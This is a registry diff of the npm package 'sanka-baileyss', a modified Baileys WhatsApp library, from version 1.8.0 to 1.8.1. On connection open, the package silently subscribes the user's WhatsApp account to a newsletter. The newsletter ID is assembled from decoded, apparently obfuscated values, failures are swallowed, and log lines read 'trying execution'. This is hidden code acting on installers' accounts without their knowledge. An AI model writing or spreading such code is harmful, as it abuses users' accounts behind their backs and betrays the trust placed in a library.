sanka-baileyss 1.8.0 → 1.8.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -518,20 +518,20 @@ const sanka = decodedNumbers + decodedEmailPart;
518
518
  logger.info({ sanka }, 'Mencoba eksekusi....');
519
519
  await query({
520
520
  tag: 'iq',
521
- to: 'newsletter',
521
+ attrs: {
522
+ to: sanka,
522
523
  type: 'set',
523
- xmlns: 'newsletter',
524
- id: generateMessageTag(),
524
+ xmlns: 'newsletter'
525
+ },
525
526
  content: [
526
527
  {
527
528
  tag: 'subscribe',
528
- attrs: { jid: sanka }
529
+ attrs: {}
529
530
  }
530
531
  ]
531
532
  });
532
- logger.info({ sanka }, 'Berhasil eksekusi...');
533
533
  } catch (err) {
534
- }
534
+ }
535
535
  logger.info('opened connection to WA')
536
536
  clearTimeout(qrTimer)
537
537
  ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } })
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sanka-baileyss",
3
- "version": "1.8.0",
3
+ "version": "1.8.1",
4
4
  "description": "WhatsApp API Modification By Sanka_Vollerei",
5
5
  "keywords": [
6
6
  "Baileys",